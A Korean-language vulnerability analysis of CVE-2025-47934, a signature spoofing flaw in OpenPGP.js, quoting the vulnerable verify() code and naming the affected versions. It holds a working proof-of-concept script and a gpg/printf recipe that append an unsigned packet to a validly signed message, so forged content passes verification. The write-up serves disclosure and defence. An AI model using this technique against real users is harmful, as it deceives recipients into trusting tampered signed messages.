[하루한줄] CVE-2025-47934: OpenPGP.js 서명 스푸핑 취약점

URL

Target

  • OpenPGP.js < v5.11.3
  • OpenPGP.js < v6.1.1

Explain

OpenPGP.js는 OpenPGP 표준(RFC 9580)을 구현한 자바스크립트 라이브러리로, 암호화된 이메일이나 서명된 Git 커밋 등에 사용됩니다. 이 표준은 메시지 암호화, 서명, 키 관리 기능을 제공합니다. OpenPGP 메시지는 패킷의 시퀀스로 구성되며, 각 패킷은 표준에 정의된 바이너리 프로토콜을 따릅니다. OpenPGP.js는 Mailvelope 및 Proton Mail과 같은 여러 웹 기반 이메일 클라이언트에서 사용됩니다.

PGP 메시지는 여러 패킷의 시퀀스로 구성되며, 각 패킷은 메시지, 서명, 압축 데이터 등 다양한 정보를 담을 수 있습니다. 이 구조적 유연성 때문에 메시지 내부에 불필요한 패킷이 추가될 수 있습니다.

root cause & PoC

OpenPGP.js의 패킷 처리 파이프라인에 존재하는 설계 결함으로 인해, 서명 검증 과정에서 “실제로 서명된 데이터”와 “최종 반환되는 데이터” 간의 불일치가 발생할 수 있습니다. 이는 내부의 비동기 스트림 파싱 구조와 검증 로직의 미흡한 분리 처리에 기인합니다.

const openpgp = require('openpgp');

(async () => {
    // Generated using:
    //   cat \
    //     <(echo "legitimate" | gpg -s -z0) \
    //     <(printf "\xc8\x12\0\xcb\x0f\x62\0\0\0\0\0malicious") \
    //   | base64
    let armoredMessage = `
-----BEGIN PGP MESSAGE-----

kA0DAAoW1Fu2hl5UcsoByxFiAGhBNptsZWdpdGltYXRlCoh1BAAWCgAdFiEEXSzQbblMQiJ8GaYN
1Fu2hl5UcsoFAmhBNpsACgkQ1Fu2hl5UcsqE0QD/bsWYHJrrrK8RM8VgB4Z3K64zWfp49BOi+x0s
9VJKyRoBALJdQhGzPwCERCANPR+KdX5ZdrX54ZpY9mriFG6O4hsFyBIAyw9iAAAAAABtYWxpY2lv
dXM=
-----END PGP MESSAGE-----`;

    // public key of thomas@codean.io
    const publicKeyArmored = `
-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEZSAfBhYJKwYBBAHaRw8BAQdAfdgd2yxL+pYN91ENyp/VZVdWXLjYDONG47jM
4dDZDMG0IFRob21hcyBSaW5zbWEgPHRob21hc0Bjb2RlYW4uaW8+iI8EExYIADcW
IQRdLNBtuUxCInwZpg3UW7aGXlRyygUCZSAfBgUJBaOagAIbAwQLCQgHBRUICQoL
BRYCAwEAAAoJENRbtoZeVHLKpvIBANiaDeLPyaQyHkuzB8T6ZqvfJi4dXNlsqT2F
dlUUip4ZAQDSAljghQC9jAQu8I8yMrQJd4SXD1EMH+NLNNYCDEZCC7g4BGUgHwYS
CisGAQQBl1UBBQEBB0DOFmUm2nMIda8PzTquulLLy/bFwDtSqAiK1EBqEdvbaAMB
CAeIfgQYFggAJhYhBF0s0G25TEIifBmmDdRbtoZeVHLKBQJlIB8GBQkFo5qAAhsM
AAoJENRbtoZeVHLKCE8BAJEXE6za1G6pFpaZWKBRMlCbBDSE4rc7iEn5MpC56WtQ
AQCnVhRNYBjQ7Bo/VX1rx2+6wx84EXOFmoW80F96QmN0Bw==
=Obk+
-----END PGP PUBLIC KEY BLOCK-----`;

    const publicKey = await openpgp.readKey({ armoredKey: publicKeyArmored });
    const message = await openpgp.readMessage({ armoredMessage });
    const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });

    console.log(`Signed message data: ${verificationResult.data}`);
    const { verified, keyID } = verificationResult.signatures[0];
    try {
        await verified; // throws on invalid signature
        console.log(`Verified signature by key id ${keyID.toHex()}`);
    } catch (e) {
        throw new Error(`Signature could not be verified: ${e.message}`);
    }
})();
  1. 스트림 파싱의 불완전성
  • openpgp.readMessage() 함수는 메시지를 파싱할 때 가장 첫 번째 Literal Data 패킷만 읽고 반환합니다.
  • 이후에 존재하는 나머지 패킷(예: 악성 데이터)은 읽지 않은 상태로 스트림(메모리)에 남게 되며, 후속 처리가 이루어지지 않습니다.
  • 이는 서명 검증 로직이 이후 데이터의 존재 여부를 인지하지 못하도록 우회할 수 있는 기반을 제공합니다.
  1. 검증 로직의 취약점
async verify(verificationKeys, date = new Date(), config = defaultConfig) {
  const msg = this.unwrapCompressed(); // [1]
  
  const literalDataList = msg.packets.filterByTag(enums.packet.literalData);
  if (literalDataList.length !== 1) {
    throw new Error('Can only verify message with one literal data packet.');
  }
  
  if (isArrayStream(msg.packets.stream)) {
    msg.packets.push(...await streamReadToEnd(msg.packets.stream, _ => _ || [])); // [2]
  }

  const onePassSigList = msg.packets.filterByTag(enums.packet.onePassSignature).reverse();
  const signatureList = msg.packets.filterByTag(enums.packet.signature);

  // ...
  • openpgp.verify() 호출 시, 내부적으로 unwrapCompressed() 함수가 동작하여 압축된 패킷만 찾아 처리합니다( [ 1 ] ).

    • const msg = this.unwrapCompressed();: 이 시점에서 this.packets은 아직 완전하게 파싱되지 않았으므로, unwrapCompressed()Compressed Data 패킷을 찾지 못하고 this (원본 패킷 리스트)를 반환합니다. 따라서 서명 유효성 검사에 사용되는 literalDataList는 “legitimate” 데이터를 포함하는 Literal Data 패킷이 됩니다.

      unwrapCompressed() {
         const compressed = this.packets.filterByTag(enums.packet.compressedData);
         if (compressed.length) {
           return new Message(compressed[0].packets);
         }
         return this;
       }
  • 이때 압축되지 않은 나머지 패킷은 무시되며, 검증 대상에서 제외됩니다.

  • 그러나 최종적으로 반환되는 verificationResult.data에는 이 검증되지 않은 패킷의 내용도 포함될 수 있습니다( [ 2 ]).
    • msg.packets.push(...await streamReadToEnd(msg.packets.stream, _ => _ || [])); : 이 시점에서 서명 검증이 성공적으로 이루어진 후, 최종적으로 verificationResult.data에 실제 메시지 내용을 담기 위해 streamReadToEnd()가 호출됩니다. streamReadToEnd()가 호출되어 스트림에 남아 있던 모든 패킷(즉, Signature 패킷과 Compressed Data 패킷)이 msg.packets 배열에 추가됩니다. 이제 msg.packets는 완전한 공격자의 조작된 패킷 리스트를 포함하게 됩니다.
  1. result.data 설정 시 unwrapCompressed() 재호출 및 악성 데이터 반환
...
if (signature) {
  result.signatures = await message.verifyDetached(signature, verificationKeys, date, config);
} else {
  result.signatures = await message.verify(verificationKeys, date, config);
}
result.data = format === 'binary' ? message.getLiteralData() : message.getText();
...

서명 유효성 검사 자체는 “legitimate” 데이터에 대해 성공적으로 수행됩니다. 그러나 openpgp.verify()의 마지막 부분에서 result.data를 설정하기 위해 message.getLiteralData() (또는 message.getText())가 호출됩니다. 이 함수 역시 unwrapCompressed()를 다시 호출합니다. streamReadToEnd() 호출로 인해 msg.packets가 이제 완전한 패킷 리스트를 포함하므로, unwrapCompressed()는 공격자가 삽입한 첫 번째 Compressed Data 패킷(악성 “malicious” 데이터를 포함하는)의 내용을 반환하게 됩니다.

결과적으로, OpenPGP.js는 “legitimate” 데이터에 대한 서명을 유효하다고 판단하면서도, 사용자에게는 verificationResult.data 또는 message.getText()를 통해 “malicious” 데이터를 표시하게 됩니다. 이는 유효한 서명을 가진 메시지의 내용이 공격자에 의해 임의로 조작된 것처럼 보이게 만드는 스푸핑 공격으로 이어집니다. 암호화된 메시지의 경우에도 openpgp.decrypt()가 동일한 검증 로직을 사용하므로, 복호화된 데이터는 공격자가 제어하는 “malicious” 페이로드로 반환되지만, 서명 검증 결과는 원본 “legitimate” 페이로드에 대해 계산되어 유효하다고 표시됩니다.

Signed message data: malicious
Verified signature by key id d45bb6865e5472ca:

공격 시나리오를 간단히 요약하면 이렇게 표현할 수 있습니다.

  • 공격자는 정상적인 서명 메시지(예: "Transfer $100"에 대한 유효 서명)를 확보한 뒤,
  • 해당 메시지 뒤에 추가적으로 악의적인 패킷(예: "Transfer $10,000")을 삽입하여 하나의 메시지로 구성합니다.
  • 검증 과정에서는 정상 서명된 부분("Transfer $100")만 검증되며 서명은 “유효”로 표시됩니다.
  • 그러나 최종적으로 반환되는 데이터는 악성 패킷까지 포함한 데이터로서, 사용자가 보기에는 정상 서명된 것으로 오인하게 됩니다.

즉, 공격자는 피해자의 기존 서명을 재사용해 임의의 메시지로 서명을 위조(spoof)할 수 있습니다

Reference